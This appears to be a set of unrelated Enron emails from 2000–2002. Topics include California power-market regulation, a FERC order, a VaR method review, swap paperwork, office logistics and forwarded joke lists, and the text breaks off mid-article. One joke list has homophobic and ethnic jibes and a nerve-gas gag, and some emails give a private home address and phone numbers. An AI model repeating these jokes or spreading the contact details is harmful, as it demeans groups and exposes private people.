The chicken was going to the "other side." That's what "they"
call it-the "other side." Yes, my friends, that chicken is gay.
And, if you eat that chicken, you will become gay too. I say we
boycott all chickens until we sort out this abomination that the
liberal media whitewashes with seemingly harmless phrases like "the
other side," That chicken should not be free to cross the road. It's as
plain and simple as that.

DR. SEUSS
Did the chicken cross the road?
Did he cross it with a toad?
Yes! The chicken crossed the road,
but why it crossed, I've not been told!

ERNEST HEMINGWAY
To die. In the rain.

MARTIN LUTHER KING, JR.
I envision a world where all chickens will be free to
cross without having their motives called into question.

GRANDPA
In my day, we didn't ask why the chicken crossed the
road. Someone told us that the chicken crossed the road,
and that was good enough for us.

ARISTOTLE
It is the nature of chickens to cross the road.

KARL MARX
It was a historical inevitability.

SADDAM HUSSEIN
This was an unprovoked act of rebellion and we were
quite justified in dropping 50 tons of nerve gas on it.

RONALD REAGAN
What chicken?

CAPTAIN JAMES T. KIRK
To boldly go where no chicken has gone before.

FOX MULDER
You saw it cross the road with your own eyes. How
many more chickens have to cross before you believe it?

FREUD
The fact that you are at all concerned that the
chicken crossed the road reveals your underlying sexual
insecurity.

BILL GATES
I have just released Echicken 2000, which will not
only cross roads, but will lay eggs, file your important
documents, and balance your checkbook -and Internet Explorer is
an inextricable part of eChicken.

EINSTEIN
Did the chicken really cross the road or did the road
move beneath the chicken?

BILL CLINTON
I did not cross the road with THAT chicken. What do
you mean by "chicken"? Could you define "chicken" please?

GEORGE BUSH
I don't think I should have to answer that question.

LOUIS FARRAKHAN
The Road, you will see, represents the black man. The
chicken crossed the "black man" in order to trample him and
keep him down.

COLONEL SANDERS
I missed one?

The London Credit Trading team ( Commercial and nonCommercial ) are currently 
investigating some transactions in the Houston Debt trading book that are 
inappropriately marked ( in fact one is a complex trade that appears to be  
'accrual accounted for' since April ). Bryan Seyfried is in Houston and is 
keen to understand the facts of any potential 'process failure'  - we are 
liaising with him.

The potential write off is, I understand, of the order of $5mm, but I am keen 
to understand the control issues around any 'process failure'

Clearly we need to determine the facts but I thought you should know about 
some noise out there !

Will revert later  tomorrow

Mike

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See below.   This would have presented a bigger problem than price caps.
---------------------- Forwarded by Steven J Kean/HOU/EES on 08/01/2000 07:25 

Susan J Mara
08/01/2000 03:07 AM
To: David Parquet/SF/ECT@ECT, Tim Belden/HOU/ECT@ECT, Robert 
Badeer/HOU/ECT@ECT, Dennis Benevides/HOU/EES@EES, Roger Yang/SFO/EES@EES, 
Elsa Piekielniak/Corp/Enron@Enron, James D Steffes/HOU/EES@EES, Scott 
Vonderheide/Corp/Enron@ENRON, Bruno Gaillard/SFO/EES@EES, Jeff 
Dasovich/SFO/EES@EES, Mona L Petrochko/SFO/EES@EES, Sandra 
McCubbin/SFO/EES@EES, Chris H Foster/HOU/ECT@ECT, Paul Kaufman/PDX/ECT@ECT, 
Steven J Kean/HOU/EES@EES, Mary Hain/HOU/ECT@ECT
cc:  
Subject: GREAT NEWS ****FERC Order on Morgan Stanley Complaint Against ISO

Dan Douglass summarized this.  This really puts CA and the ISO on notice that 
they cannot confiscate the power as they seem ready to do -- FERC reiterates 
that the generators can sell power wherever they want because the cap is a 
cap on ISO purchases.  ANd if the ISO want to set a sale price cap it has to 
file with FERC, wait 60 days and amend its contract
---------------------- Forwarded by Susan J Mara/SFO/EES on 08/01/2000 01:01 

"Daniel Douglass" <douglass@ArterHadden.com> on 07/31/2000 07:27:24 PM
To: <peter.bray@att.net>, <JBarthrop@electric.com>, <mnelson@electric.com>, 
<rschlanert@electric.com>, <Bruno_Gaillard@enron.com>, <kmagrude@enron.com>, 
<mpetroch@enron.com>, <susan_j_mara@enron.com>, <athomas@newenergy.com>, 
<bchen@newenergy.com>, <Jeff.Hanson@phaser.com>, <anchau@shellus.com>, 
<andrew.madden@utility.com>, <ben.reyes@utility.com>, 
<chris.king@utility.com>, <david.bayless@utility.com>
cc:  
Subject: FERC Order on Morgan Stanley Complaint Against ISO

We have good news on the ISO price caps front.  The FERC has made it
clear that ISO does not have the ability to mandate that generators sell to 
ISO at its price caps and that the proper response to inadequate supply is to 
lift the price caps.

On Friday, the FERC issued its Order on Complaint in connection with the July 
10 complaint filed by Morgan Stanley Capital Group Inc. ("MS").  As you may 
recall, MS requested FERC to issue a stay of the ISO's maximum purchase price 
authority and to direct the ISO to reverse any price cap reductions.  MS 
sought Fast Track processing pursuant to Rule 206(h), which was granted by 
FERC on the grounds that the complaint "warrants expeditious action."

As a quick background summary for you, last November, FERC issued an order 
approving Tariff Amendment 21 which extended ISO's price cap authority 
through 11/15/00.  That order stated that the ISO "maximum purchase price was 
not a cap on what the seller may charge the ISO, but a cap on what the ISO 
was willing to pay."  The Commission said that sellers dissatisfied with the 
price cap could "choose to sell those services into the California Power 
Exchange or bilateral markets."

FERC notes in Friday's Order that the 6/28 the ISO's Board resolution lowered 
the caps to $500 and ISO further directed that, "To the extent permitted by 
law, regulation and pre-existing contract, Management shall direct generators 
to bid in all their capacity when system load exceeds 38,000 MW."

The MS complaint alleged that the cap reduction was unlawful and would, 
"threaten the stability and integroty of the marketplace."  MS also requested 
an emergency technical conference to examine ISO's justification for the 
price cap reduction.

FERC denied the MS stay request, as well as its request that the $750 maximum 
purchase price be reinstated.  The Commission reiterates that it is not 
approving a cap on sellers' prices, because they can sell at whatever price 
they want.  Rather ISO has simply stated the maximum price it is willing to 
pay.  "Because sellers are not required to sell to the ISO, the ISO cannot 
dictate their price."

Importantly, however, FERC also states that, "ISO has no more or less ability 
to procure capacity and energy than any other buyer of these services....if 
the ISO is unable to elicit sufficient supplies at or below its announced 
purchase price ceiling (because generators are free to sell elsewhere if they 
choose), it will have to raise its purchase price to the level necessary to 
meet its needs."  [Emphasis added]  FERC then notes that this may lead to an 
increase in Out of Market ("OOM") calls and that OOM calls are not subject to 
a maximum purchase price.

Also, with regard to the ISO's resolution stating that generators must bid 
their capacity into the ISO markets when system load exceeds 38,000 MW, FERC 
states clearly that, "such a requirement is not permitted by our November  12 
Order and the ISO tariff."  [Emphasis added]

FERC goes on to say that any requirement to sell to ISO in conjunction with a 
maximum purchase price would require significant revisions to ISO's market 
rules, which could not be made effective without a corresponding amendment to 
ISO's tariff.  This would require 60 days' advance notice, "and could not be 
implemented prior to Commission approval.  As stated above, our November 12 
Order was clearly based on the premise that the proper response to inadequate 
supply (due to a low maximum purchase price) is to raise the maximum purchase 
price."

ISO is then "put on notice that any amendment to mandate sales must be 
accompanied by a demonstration that this extreme measure is the proper 
response to low supplies in the ISO markets."

Concurrences were filed by Commissioners Massey and Hebert.  Massey suggests 
that the state has to facilitate solutions to market issues, such as risk 
management tools, removing constraints on hedging opportunities, introducing 
real time pricing through real time metering and expediting approval of new 
generation and transmission projects in California.  Hebert says that the 
previous November Order tried to "straddle the fence" and that, "Today, the 
Commission at least starts to lean slightly in the right direction of 
recognizing that we have a role."  He then reiterates his preference for 
removing all price caps.  He also suggests that, "Getting to the bottom of 
the problem, in my view, requires us to begin a proceeding to rescind our 
approval of the ISO as operator of the California grid.  The record supports 
such a move."  He refers approvingly to the Collins resignation letter, 
stating that it, "thoughtfully outlines consequences to the market of a 
return to 'command and control.' "  Hebert states that, "The independence of 
the ISO's governing structure stands threatened.  We should 'stand up,' to 
quote the resignation letter."  Hebert advocates opening a section 206 
proceeding now, as part of the recently announced inquiry into bulk power 
markets, "including the California markets."

This decision makes it clear that ISO cannot lower the caps at tomorrow's 
meeting and expect that sellers will be required to sell to it at that 
price.  This is an important development and very good news in our ongoing 
efforts to seek economic sanity at the ISO.

Dan

Vince:

I read the relibaility-based VAR method document with interest.

Here are some comments:

1. The document falls short of describing how
to use the method in practice, but rather
gives some general motivation. I am confident
that I myself could not develop an algorithm
based on this document, unless all of the
derivative valuation functions are explicit
(and rather nice) functions
with explicit derivatives of the underlying variables, in which case
the VAR problem is not so hard in any case,
as Monte Carlo is very effective in this case.
(My comment here is critical of exposition.
I do not suggest that the proposed method
is weak!)

2. The remark (p. 2) that my paper with Jun Pan
addresses only normal returns is not
correct. The main point of our paper was to allow
for jumps, including fat tails and skewness.
The comment that we rely on delta-gamma
is a good criticism,and the main potential
advantage of the reliability approach,
if it works in practical cases.

3. There is a typo at page 2, at 9 lines from
the bottom, where I presume g(T(u)), not g(T(x))

4. There is a missing `we' on page 5, 9 lines
from the bottom.

5. The remark on CPU time (page 7) does
not mention what machine was used.

6. The example (page 8) does
not really have much non-normality. Skewness=0,
and kurtosis (4) (is this excess kurtosis?)
are not much compared to most practical cases, in which kurtosis
is an extra order of magnitude, with lots
of skewness.

Overall, the paper piqued my curiosity a lot,
and left me wanting more clarity,
and a cookbook.

I hope `events' at Enron have not made things
difficult for you.

I will later bill you for one hour, if that is OK.

Warmest personal regards, Darrell

> X-MimeOLE: Produced By Microsoft Exchange V6.0.4418.65
> content-class: urn:content-classes:message
> MIME-Version: 1.0
> Subject: The first document for audit
> Date: Mon, 16 Jul 2001 12:47:45 -0500
> X-MS-Has-Attach:
> X-MS-TNEF-Correlator:
> Thread-Topic: The first document for audit
> Thread-Index: AcEOH2t+YrCeSfbQQ9uW1MfwNSwcgg==
> From: "Kaminski, Vince J" <Vince.J.Kaminski@enron.com>
> To: <duffie@Stanford.EDU>
> Cc: <vkaminski@aol.com>
> X-OriginalArrivalTime: 16 Jul 2001 17:48:09.0130 (UTC)
FILETIME=[79ADE8A0:01C10E1F]
> X-UIDL: 1c3d3038b819e9d553dd6b2f57734529
>
> Darrell,
>
> I am sending you the first document for review. It's a new algorithm
> invented by Rabi De and Tanya.
>
> The credit paper has been written but it needs more work
> before we can send it to you.
>
> I think you will enjoy  the document I am attaching.
>
>
> Vince
>
>
>  <<Reliabiliy_VAR8.doc>>

Darrell Duffie
mail  GSB Stanford CA 94305-5015 USA
phone 650 723 1976
fax   650 725 7979
email duffie@stanford.edu
web   http://www.stanford.edu/~duffie/

I got your message.  I did speak to my contact earlier this week and got
comfortable about Marta's authorization of the swap, but I didn't inquire as
to legal counsel/opinions for other similar transactions. I hoped our
opinion would be acceptable.   I just left her a message asking her that.
Her name is Thay (pronounced Tie) Bishop.  She is the Treasurer.  Feel free
to call her directly if necessary.  404-848-4246.

Sent: Friday, May 18, 2001 5:58 PM
To: mcbarnes@kslaw.com
Subject: legal opinion

Mae Charles:

Attached is the form of legal opinion which Enron North America Corp.
("ENA") submitted to M.A.R.T.A. (together with ENA's draft ISDA Schedule
and Paragraph 13 to the Credit Support Annex).  As we discussed, ENA will
now be requesting this opinion from you.

ENA has prepared and submitted a trade confirmation for the recent
financial swap to M.A.R.T.A.   Other than this document executed by ENA and
awaiting execution by M.A.R.T.A., no instruments have been executed by the
parties.  If you need to see the terms and conditions of the trade, please
let me know.

I look forward to speaking with you early next week.

Regards.

(See attached file: MARTA.doc)

We have had difficulty setting the meeting given the election.  However, we 
should have a position ready for any meeting, including the meetings we are 
trying to arrange for you in November.

	10/24/2000 12:47 PM
		
		 To: t.briggs@enron.com
		 cc: James D Steffes/NA/Enron@ENRON, Joe Hartsoe/Corp/Enron@ENRON, Jeff 
Dasovich/NA/Enron@Enron, Susan J Mara/SFO/EES@EES@ENRON, Tom 
Briggs/NA/Enron@Enron, Cynthia Sandherr/Corp/Enron@ENRON
		 Subject: Re: Cal-ISO Wants Pwr Generators To Forward Bid 70% -Sources

The trading flooor needs to formulate a position on this first.  When is your 
meeting Tom?

From: James D Steffes@ENRON on 10/24/2000 01:05 PM CDT
To: Joe Hartsoe/Corp/Enron@ENRON, Mary Hain/HOU/ECT@ECT, Jeff 
Dasovich/NA/Enron@Enron, Susan J Mara/SFO/EES@EES
cc: Tom Briggs/NA/Enron@Enron, Cynthia Sandherr/Corp/Enron@ENRON 
Subject: Cal-ISO Wants Pwr Generators To Forward Bid 70% -Sources

Can everyone help Tom respond within Congress to this message?  Tom, also be 
forewarned that FERC intends to announce their "proposed remedies" on Nov 1 
with about 15 days for response.  We need you guys to be ready for messaging 
this politically.

Jim

----- Forwarded by James D Steffes/NA/Enron on 10/24/2000 01:03 PM -----

	Tom Briggs
	10/24/2000 12:32 PM
		 
		 To: James D Steffes/NA/Enron@Enron, Mary Hain/HOU/ECT@ECT
		 cc: 
		 Subject: Cal-ISO Wants Pwr Generators To Forward Bid 70% -Sources

It seem sthat the Cal Iso has lost its mind.  Cynthia and I have been trading 
phone calls with Bilbray's staff to schedule a meeting.  In the event we can 
get one, can I have help rebutting this stuff.  It seems that the England and 
Wales Pool, which effectively compelled 100% bidding in the day ahead market 
was still frought with gaming between the day ahead market and the within day 
balancing market.  
----- Forwarded by Tom Briggs/NA/Enron on 10/24/2000 11:22 AM -----

	Cynthia Sandherr
	10/24/2000 10:32 AM
		 
		 To: Tom Briggs/NA/Enron@Enron
		 cc: 

Tom:  when we meet with Congressman Bilbray's staff, is this something we 
should bring up and have a position on....I would assume yes......but wanted 
to close the loop.....
--

Cal-ISO Wants Pwr Generators To Forward Bid 70% -Sources
Copyright , 2000 Dow Jones & Company, Inc.

By JASON LEOPOLD
     Of DOW JONES NEWSWIRES

     LOS ANGELES (Dow Jones)--The California Independent System Operator is
expected to file a petition with federal regulators Friday seeking authority
to force generators to bid 70% of their supply into the forward market in an
effort to reduce wholesale power costs in the state, according to a source
familiar with the issue.

     An official with the state's Electricity Oversight Board confirmed the
details of the filing.

     The filing calls for FERC to set a "just and reasonable" rate for a
large fraction of suppliers' capacity, while remaining supply would be able
to earn market-based rates, according to the source.

     In addition, major out-of-state generators would have to enter into
forward contracts at FERC mandated rates for "a significant portion of their
expected sales."

     ISO Chairman and Chief Executive Terry Winter will hold a news
conference Friday morning that will focus on possible solutions to lower
wholesale energy costs. He is expected to announce how bidding into the
forward market will stabilize high wholesale power costs.

     The state's Public Utilities Commission is expected to make a similar
filing with federal regulators in the near future, sources said.

     In addition, forcing generators to bid into the forward market is a
measure that would reduce market power in the state and would protect a
majority of utilities served by the generators from the cost impact of
market power, the ISO has said in prior meetings.

     Market power is a term used by economists to describe how generators
can influence power prices. According to an ISO report, market power
occurred this past summer because tight power supply and concentration of
generation ownership "allowed suppliers to be pivotal at relatively high
demand periods."

     About 50% to 60% of the power purchased this past summer was done in
the spot market, an unusually high percentage, according to the ISO.

     In order to mitigate market power, the filing calls for utilities to
enter into two-year forward contracts with generators to shield against the
daily market price fluctuations.

     Regulatory constraints associated with forward contracting was a "key
source of high (power) costs in the summer of 2000," according to an ISO
report.

     The ISO action will be taken without approval from a the grid
operator's board of governors. Usually, a majority of the board is required
to approve such an action.

     EOB Official Surprised By ISO Action

     The announcement of the ISO's expected filing came as a surprise to
Gary Heath, executive director of the state's Electricity Oversight Board.
Heath told Dow Jones Newswires he was aware of the filing and news
conference.

     "We're trying to find out what's behind this," Heath told Dow Jones
Newswires. "We're not sure if they could do this without board approval. It
came as a surprise."

     Sources said the agency is holding the news conference in an attempt to
eclipse imminent structural changes to the ISO expected to be proposed by
the Federal Energy Regulatory Commission next month.

     FERC launched an investigation into California's troubled power market
this past summer based on allegations that the market isn't workably
competitive and participants manipulate the market. Energy officials have
blamed the ISO for this summer's power woes.

     -By Jason Leopold; Dow Jones Newswires; 323-658-3874;
mailto:jason.leopold@dowjones.com

     (END) Dow Jones Newswires 20-10-00

     0307GMT

Michael E. Nix
Michael E. Nix Consulting
menix@gateway.net
1545 18th St. NW #711
Washington, DC  20036
202.234.1086
202.422.3565-cell

do you need me to bring anything or chip in any amount

From: 	Bass, Eric  
Sent:	Thursday, January 31, 2002 4:22 PM
To:	Bass, Eric; Baumbach, David; Jeganathan, Lenine; Olsen, Michael; Lenhart, Matthew; Blanchard, Timothy; Winfree, O'Neal D.; Ryder, Patrick; Love, Phillip M.; 'mballases@hotmail.com'; 'Kevin Boone (E-mail)'; 'Val Generes (E-mail)'
Cc:	Husser, Shanna
Subject:	RE: Super Bowl Party - 2/3/02

Ok, here is the deal.  The party will be at my place on Sunday.  My apartment is located at 4848 Pin Oak Park #1503 the zip is 77081 if you want to look up the location on maps.yahoo.com.  Basic directions from downtown are:
take 59S and exit Newcastle.  Take left on Newcastle. Follow across Westpark to Pin Oak.  Take right on Pin Oak (this is the first stop sign past Westpark).  Follow Pin Oak approx 2 blocks to Pin Oak PARK (not GREEN) and make a right into complex.  Apt #1503
my home # is 713-661-2601; cell is 713-628-3104

I will see you then.

Tim - please forward to Mitch
Sent:	Monday, January 28, 2002 9:45 AM
To:	Baumbach, David; Jeganathan, Lenine; Olsen, Michael; Lenhart, Matthew; Blanchard, Timothy; Winfree, O'Neal D.; Ryder, Patrick; Love, Phillip M.; 'mballases@hotmail.com'; Kevin Boone (E-mail); Val Generes (E-mail)
Subject:	Super Bowl Party - 2/3/02

I was thinking of having a get together at my place but I wanted to gauge interest first.  Let me know if you are interested.  I will send out another e-mail if I get enough responses.

-Eric

Thanks, hope to see you tonight.

UPDATE ON INTER-SC TRADES ADJUSTMENT BID PROJECT TIMELINE

Market Participants, through TSWG,  have expressed concern about the
currently scheduled release time between 10 minute settlements and Inter-SC
Trade Adjustment Bid functionality.  As a result of the delay to
implementation of 10 minute settlements, the release time frame has
decreased from the original 1 month to approximately 2 weeks.  Understanding
these timing concerns, the ISO has decided to delay the implementation of
Inter-SC Trade Adjustment Bid.

Therefore, the ISO is revising the implementation target date for Inter-SC
Trade Adjustment Bid until the first week of October 1, 2000.  Following is
an updated project timeline.

Prior to the ISO making this decision, feedback from both business and
technical sides of the Market Participants were taken into consideration.
It was determined that this later date will allow Market Participants
additional testing time to prepare for a successful implementation of the
Inter-SC Trade Adjustment Bid software.

   CRCommunications
   Client Relations Communications

PROJECT TIMELINE
Final SI/PMI templates to Market Participants  6/13/00
Parser Development                                            6/23/00 -
7/14/00
Draft Parser provided to Market Participants   7/13/00
SC Training
7/14/00
ISO internal integration testing                          8/1/00 -
8/25/00
Market simulation                                        9/05/00
- 9/15/00
Additional SC Training                                      9/18/00 -
9/22/00
FERC Filing
(Week of) 9/18/00
Implementation                                         (Week
of) 10/1/00

Just cc: us on the copy.

Thanks!

From: 	Anderson, Diane  
Sent:	Wednesday, July 18, 2001 1:12 PM
Subject:	RE: Termination agreement--Grupo MINSA

Certainly.  Do you mean that you want to see it before it goes out, or just to cc: you a copy?  It's all ready to go on my side,
I'm just waiting for them to book the annuity payment in the system.  

Diane

Sent:	Wednesday, July 18, 2001 1:08 PM
To:	Anderson, Diane
Subject:	FW: Termination agreement--Grupo MINSA

Hi, Diane!

I just sent Gordon this e-mail asking him to send us a copy of the termination when sent to Grupo MINSA and received his "out of office" reply.  Will you or whoever prepares the termination send a copy to me?

Thanks!

Marie
Sent:	Wednesday, July 18, 2001 1:06 PM
To:	Heaney, Gordon

Hi, Gordon!

Will you send us a copy of the termination when it is sent to Grupo MINSA?

Thanks!

Marie

From: 	Espinoza, Veronica  
Sent:	Wednesday, July 18, 2001 12:45 PM
To:	Bailey, Susan; Heard, Marie; Panus, Stephanie
Cc:	Leite, Francisco Pinto; Bailey, Derek
Subject:	Termination agreement--Grupo MINSA

A deal was closed yesterday, 7/17/01 with Grupo MINSA (deal #VG5833.3).  Please prepare a termination agreement (to replace the Deemed ISDA usually sent out as the confirm).

Thanks again--Veronica

Sent:	Friday, June 15, 2001 3:53 PM
To:	Panus, Stephanie; Heard, Marie; Bailey, Susan
Cc:	Leite, Francisco Pinto; Heaney, Gordon
Subject:	Credit Worksheet--Grupo MINSA

Legal Team--

Attached below is a credit worksheet for deal #VG5833.1, trade date 6/12/01, executed with Grupo MINSA, SA de CV.  Please prepare a Deemed ISDA confirmation.

Thanks,

Veronica Espinoza

 << File: Grupo MINSA Deemed ISDA.xls >> 

From: fredrica  edelman  
To: Richard Traub  ; Postelnek  Stephen  ; Antlhony J. Mercorella  ; Baruk Landa  ; Pat Hallisey  ; John Gebeault  ;  David Florin  ;  Glen Feinberg  ; Lynn S. Edelman  ; Lester Edelman  ;  Arnold Edelman  ; Andrew  Edelman  ; Wayne  Borgeest  ; Lee  Berger  
Sent: Wednesday, July 04, 2001 9:30 AM
Subject: Fw: The Law of Golf
LAW 1: Golf should be given up at least twice per month.  
LAW 2: All vows taken on a golf course shall be valid only 
until the  sunset. 
LAW 3: The more expensive (and newer) the golf ball, 
the  greater its attraction to water. 
LAW 4: No matter what causes a golfer  to muff a shot, all his 
playing partners must solemnly chant, "You looked  up," or 
invoke the wrath of the universe. 
LAW 5: Golf balls never  bounce off of trees back into play. 
If one does, the tree is breaking a law  of the universe and 
should be cut down. 
LAW 6: Golf balls from the  same "sleeve" tend to follow one 
another, particularly out of bounds or into  the water (See 
Law 3). 
LAW 7: No matter how bad your last shot was,  the worst 
is yet to come. 
LAW 8: A golfer hitting into your group  will always be bigger 
than anyone in your group. Likewise, a group you  accidentally 
hit into will consist exclusively of 300-pound gorillas.  
LAW 9: Your best round of golf will be followed almost 
immediately  by your worst round ever. The probability of 
the latter increases with the  number of people you tell 
about the former. 
LAW 10: Sand is a living  entity, and must be treated with 
kindness and respect. If it isn't, how do  you explain the 
way it always works against you? 
LAW 11: Golf carts  always run out of juice at the farthest 
point from the clubhouse.  
LAW 12: The last three holes of a round will automatically 
adjust  your score to what it really should be. 

Hi Louise,
	Here is the final layout for the fortune article, just wanted to get your seal of approval.

~Heather
 
Susan Bellinghausen and Pat Cagney would like to meet with each of you to 
discuss the GPG SAP Reporting needs.  Based on discussions at the ASE, 
"Project Jumpstart" is being initiated to develop a plan for addressing the 
reporting needs of GPG. Please plan to attend this meeting to learn what 
support is being offered and to provide your input into what you need from 
the reporting team.  EB 30C2 is a video conference room.  We are trying to 
get a video conference room in Omaha also.  We will let you know on Tuesday 
where the Omaha meeting room will be.

From: Blair, Greg 
Sent: Friday, November 02, 2001 1:32 PM
To: Arora, Harry
Cc: Cavazos, Brandon
Subject: RE: Synthetic Peaker

Harry:  In response to your questions:
 
1.  Brandon put together the indicative, off the spread option model.
2.  Yes, this is into TVA
3.  Yes, it is for a three-year period commencing in '03
4.  Size is 200 MW
5.  Dispatch is day-ahead w/16 hour minimum.
 
I copied Brandon on this so he can follow the entire thread and respond to you or assist you, as necessary.

From: Arora, Harry 
Sent: Fri 11/2/2001 12:38 PM 
To: Blair, Greg 
Cc: 

Greg
 
1. Who made these prices ?
 
2. Is this a into TVA product
 
3. Is this a 3 yr starting 2003 they are asking for ?
 
4. How much size are they interested in ?
 
5. Is this a day ahead 5x16 (16 hour minimum) product or is there a 4hr/8hr min ?
 
Harry
 
Sent: Friday, November 02, 2001 12:25 PM
To: Arora, Harry; Cavazos, Brandon
Subject: FW: Synthetic Peaker

Harry and Brandon:
 
Apparently, we are not as competitive as we need to be here.  Let me know if there's anything we can do here to make this more attractive.  My quote to them is at the bottom of the thread.

From: "Hilson, D. Wayne" <dwhilson@tva.gov>@ENRON 
Sent: Fri 11/2/2001 11:07 AM 
Cc: Goza, Stuart L. 

Greg:

We have completed our evaluation of the two proposed structures (1) May

through September and (2) June through August for a three year duration

beginning in 2003.  Unfortunately, based on the prices quoted below, neither

evaluates well enough that we would want to pursue any further.  We

appreciate your interest and remain interested in any future proposals you

may want to offer.

Regards,

Wayne Hilson

(4230 751-2916

From:   Greg.Blair@enron.com [ <mailto:Greg.Blair@enron.com>]

Sent:   Tuesday, October 23, 2001 5:33 PM

To:     dwhilson@tva.gov

Subject:        RE: Synthetic Peaker

Any idea on timing of a response?  Just curious.

   From:   "Hilson, D. Wayne" <dwhilson@tva.gov>@ENRON

   Sent:   Monday, October 15, 2001 4:06 PM

   To:     Blair, Greg

   Subject:  RE: Synthetic Peaker

   Thanks.

   We'll be in touch.

   From:   Blair, Greg [ <mailto:Greg.Blair@enron.com>]

   Sent:   Monday, October 15, 2001 3:32 PM

   To:     dwhilson@tva.gov

   Subject:     Synthetic Peaker

   Wayne:

   May 1 through Sep 30:  $5.83/kw-mo

   Jun 1 through Aug 31:  $8.78/kw/mo

   Heat Rate:   10,900

   VOM:         $1.63/MWh

   Term:        3 years

   Start:       2003

   Availability:     5x16

   Delivery:    Into TVA

   Regards, Greg

   and

   reply

   all

   a

   be

   Thank you.

The plan reforecast we went through after Q1 resulted in a reduced expense 
base of $28m for the year.  This is still short of our target of $50m to 
$100m.  As you are aware we reforecast our expenses on a quarterly basis and 
for Q2 I want you to work with your management accountant to produce the 
below pack by June 30th.  Management accounting will critic the packs and 
provide a detailed analysis of overs and unders to the Office of the Chair.  
If necessary meetings will be held with you and the Office of the Chair to go 
through your numbers in detail.  If you have any questions about the below 
please contact Stephen Wood or your management accountant who should be 
contacting you shortly to discuss.  

Please see the following articles:

Sac Bee, Wed, 4/4:  "Davis' solutions may be in trouble: New plants built
 in California don't have to sell electricity here, state lawyers conclude"

Sac Bee, Wed, 4/4: "Davis' solutions may be in trouble: Skepticism is now=
=20
growing=20
among Democrats over a plan to purchase transmission lines"

Sac Bee, Wed, 4/4:  "PUC to probe money transfers "

Sac Bee, Wed, 4/4:  "Dan Walters: Politicians seek shelter as energy=20
Armageddon looms"

San Diego Union, Tues, 4/3: "Rate jump lurks for customers of SDG&E "

San Diego Union, Tues, 4/3:  "PUC expected to approve new incentives to cut=
=20
power usage"

San Diego Union, Tues, 4/3:  "Davis warns of spring problems, urges=20
conservation incentives"

LA Times, Wed, 4/4: "Energy Firms' Mixed Message Is Focus of Inquiry"

LA Times, Wed, 4/4:  "Probe of Utility Money Transfers Ordered"

SF Chron, Wed, 4/4:  "Worst Power Shortage Likely In May and June, Davis=20
Warns "

SF Chron, Wed, 4/4:  "Vocal Citizens Berate PUC=20
Police remove several protesters"

SF Chron, Wed, 4/4:  "PUC faces angry backlash to electricity rate increase=
s=20
"

SF Chron, Wed, 4/4:  "California regulators face angry backlash to=20
electricity rate increases"

SF Chron, Wed, 4/4:  "Developments in California's power crisis"

Mercury News, Wed, 4/4:  "Power gap greatest in May, June"

Mercury News, Wed, 4/4:  "Already a power giant, state may build plants"

Orange County, Wed, 4/4:  "Manager of AES' Huntington Beach plant becomes a=
=20
controversial
figure amid plans to expand capacity"

Orange County, Wed, 4/4:  "PUC gives 'interruptibles' a way out"

Orange County, Wed, 4/4:  "Davis to give TV address on energy crisis Thursd=
ay"

Individual.com, Wed, 4/4:  "Power Supplier Files Lawsuit Against Pacific Ga=
s=20
and=20
Electric Company; Dynamis, Inc. Seeks to Suspend Power Purchase Agreement=
=20
in Order to Provide Power to Grid"

Energy Insight, Wed, 4/4:  "Resurrection of Residential Energy-Efficiency
Programs"
---
-----------------------------------------
Davis' solutions may be in trouble: New plants built in California don't ha=
ve=20
to sell electricity here, state lawyers conclude
By Carrie Peyton
Bee Staff Writer
(Published April 4, 2001)=20
California can't require builders of new power plants to sell electricity=
=20
here, even as a trade-off for super-fast environmental review, lawyers at t=
he=20
state Energy Commission have concluded.=20
Their position, reached despite Gov. Gray Davis' vow that new megawatts "wi=
ll=20
stay in California," emerged as part of a fast-track approval for expanding=
 a=20
south state power plant.=20
It comes as the agency that oversees plant licensing is whittling away at t=
he=20
presumption that emergency "peaking" plants installed this summer will be=
=20
temporary. Some of the peaking plants - to be used only at times of highest=
=20
energy demand - are now proposed to stay in place 30 to 40 years.=20
Both issues have bubbled up quietly during California Energy Commission=20
reviews, sometimes addressed only indirectly in staff reports.=20
"This is a major public policy issue for all of California. If we're buildi=
ng=20
these plants on an expedited basis and we're not getting any electricity ou=
t=20
of it, why are we doing it?" asked William Workman, Huntington Beach=20
assistant city administrator.=20
The answer, according to the Governor's Office and the Energy Commission, i=
s=20
twofold. First, the plants are needed no matter what, because the entire We=
st=20
is power poor. And second, it looks like a California sales clause would=20
violate federal interstate commerce law.=20
"We're not supposed to take protectionist action against our fellow states,=
"=20
said Bill Chamberlain, chief counsel to the Energy Commission. He said=20
numerous Supreme Court decisions have held that a state can't use its=20
regulatory powers - such as permitting processes - to give its residents an=
=20
economic advantage.=20
Although there is no guarantee, the Governor's Office, power plant builders=
=20
and the state Environmental Protection Agency say most of the plants being=
=20
rushed to life will probably end up selling to the state Department of Wate=
r=20
Resources.=20
"The people who are building these power plants know very well that we expe=
ct=20
it to be used in California, and we're confident that it will be," Davis=20
spokesman Roger Salazar said.=20
Cal-EPA Secretary Winston Hickox said the "preponderance" of new peaking=20
plants will devote their electricity to California.=20
"We will do everything that we can to encourage that the energy produced as=
 a=20
result of our bending over backward to be accommodating is sold to=20
California. We're not there yet, but I believe we'll get there," Hickox sai=
d.=20
He also said the three-week reviews of peaking plants have cut no corners i=
n=20
terms of fundamental environmental standards.=20
Two of those plants scheduled for Energy Commission votes today were praise=
d=20
by environmentalists as having relatively low emissions of smog-forming=20
compounds, but they still were concerned by the 21-day review.=20
"If you're having a quick review, a plant shouldn't be allowed to continue=
=20
for more than the summer," said Gail Ruderman Feuer of the Natural Resource=
s=20
Defense Counsel.=20
The first peaking plant approved by the commission, the United Golden Gate=
=20
Project in San Mateo County, was given permission to run for three years.=
=20
But the next two, in San Diego and Palm Springs, are being recommended for=
=20
indefinite approval, and their builder, InterGen North America, said it=20
intends to keep them running for 30 to 40 years.=20
"There's no way affected communities can know what's going on with the=20
processes that are so short," said Sandra Spelliscy, general counsel of the=
=20
Planning and Conservation League. "I don't want to say negative things abou=
t=20
that particular peaker (but) =01( I think we're going to wake up in six to =
12=20
months and realize we did a lot of stuff that we regret."=20
In Huntington Beach, city officials say they are largely pleased with the=
=20
fast-track process that protected most of their major concerns over a=20
proposal by AES to quickly revive two mothballed steam turbines at its=20
seaside plant.=20
But a slower review process would have offered even more, Workman said. It=
=20
would have delayed the plant for results of studies on sea life injured or=
=20
killed by cooling water intakes and potential increases in ocean pollution.=
=20
He worries that his city's residents gave up those protections without any=
=20
certainty that California will benefit from the extra 450 megawatts AES wil=
l=20
be able to crank out.=20
Huntington Beach sought a California buyer clause in the AES permit, which =
is=20
scheduled for an Energy Commission vote next week, but it was rejected in a=
=20
